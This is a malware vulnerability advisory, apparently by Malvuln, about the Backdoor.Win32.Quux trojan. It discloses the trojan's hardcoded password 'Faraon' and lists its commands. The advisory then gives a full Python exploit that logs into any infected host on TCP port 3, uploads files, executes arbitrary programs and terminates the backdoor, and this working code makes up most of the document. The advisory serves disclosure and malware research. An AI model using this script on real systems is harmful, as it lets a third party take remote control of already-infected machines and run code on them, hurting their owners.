Exploit for Backdoor.Win32.Quux MVID-2022-0656 Hardcoded Credential

## https://sploitus.com/exploit?id=PACKETSTORM:169866
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/13ce53de9ca4c4e6c58f990b442cb419.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Quux  
Vulnerability: Weak Hardcoded Credentials  
Family: Quux  
Type: PE32  
MD5: 13ce53de9ca4c4e6c58f990b442cb419  
Vuln ID: MVID-2022-0656  
Dropped files: quux32.exe  
Disclosure: 11/15/2022  
Description: The malware listens on TCP port 3. Authentication is required, however the password "Faraon" translated from Romanian as "Pharaoh" is weak and hardcoded in cleartext within the PE file. Third-party adversaries who can reach an infected host can call commands made available by the backdoor. Commands include uploading files and code execution. Theres a need to code a custom client to communicate with the infected host as nc64.exe and telnet send LF characters and will fail authentication when sending credentials containing "\n" etc. Once connected if we send any files they will be written to Windows\System unless calling the "SetCurrDir" commmand.  
  
0040AD24 ; char aFaraon[]  
0040AD24 aFaraon db 'Faraon',0 ; DATA XREF _WinMain@16_0+376↑o  
0040AD2B align 100h  
  
[Commands]  
SetCurrDir  
GetCurrDir  
GetCurrentDirectory  
Exec  
GetFile  
SendFile  
quit  
exit  
shutdown  
dir  
CreateFile  
DeleteFile  
MessageBox  
die  
  
  
Exploit/PoC:  
"quux32_xploit.py"  
  
from socket import *  
import time, sys  
  
BANNER="""  
____ ____ ___ ____ __ _ __   
/ __ \__ ____ ____ __ |_ /|_ | / __/_ __ ___ / /__ (_) /_  
/ /_/ / // / // /\ \ /_/_ </ __/ / _/ \ \ // _ \/ / _ \/ / __/  
\___\_\_,_/\_,_//_\_\/____/____/ /___//_\_\/ .__/_/\___/_/\__/   
/_/   
By Malvuln  
MVID-2022-0656 - Nov 2022  
"""  
  
MALWARE_HOST=""  
PORT=3  
CREDZ="Faraon"  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(512).decode()  
if "#" in res or "\0" in res or "\n" in res or ":" in res:  
break  
return res  
  
def auth():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
#Authenticate  
s.send(CREDZ.encode())  
time.sleep(0.5)  
return s  
  
def upload(the_file):  
  
s = auth()  
  
PAYLOAD="GetCurrentDirectory"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
  
PAYLOAD="SetCurrDir"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
  
PAYLOAD="C:\\Users\\Public"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
  
PAYLOAD="GetCurrentDirectory"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
  
PAYLOAD="SendFile"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
  
PAYLOAD=the_file  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
  
PAYLOAD="Exec"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
  
PAYLOAD=the_file  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
print("[+] Uploading: "+the_file)  
  
time.sleep(2)  
s.close()  
  
def isIP(ip):  
try:  
inet_aton(ip)  
return True  
except Exception as e:  
return False  
  
def execute(program):  
  
s = auth()  
PAYLOAD="Exec"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
  
PAYLOAD=program  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print(chk_res(s))  
print("[+] Executing: "+program)  
  
def kill_srv():  
  
s = auth()  
print(chk_res(s))  
PAYLOAD="die"  
s.send(PAYLOAD.encode())  
time.sleep(0.5)  
print("[+] Backdoor terminated!")  
  
  
if __name__=="__main__":  
print(BANNER)  
if len(sys.argv) == 3:  
MALWARE_HOST=sys.argv[1]  
CMD = sys.argv[2]  
if isIP(MALWARE_HOST):  
if CMD=="1":  
_file=input("[-] File to upload: > ")  
if _file:  
upload(_file)  
else:  
exit(1)  
elif CMD=="2":  
pgm=input("[-] Program to run: > ")  
if pgm:  
execute(pgm)  
else:  
exit(1)  
elif CMD=="3":  
choice=input("[-] Kill server? 1=Yes > ")  
if choice.lower()=="1":  
kill_srv()  
else:  
print("[!] Invalid IP!")  
exit(1)  
else:  
print("[*] QuuX32 Exploit Usage: \n[-]IP: x.x.x.x, Command (1=Upload file, 2=Exec program, 3=Kill server)")  
exit(1)  
  
  
  
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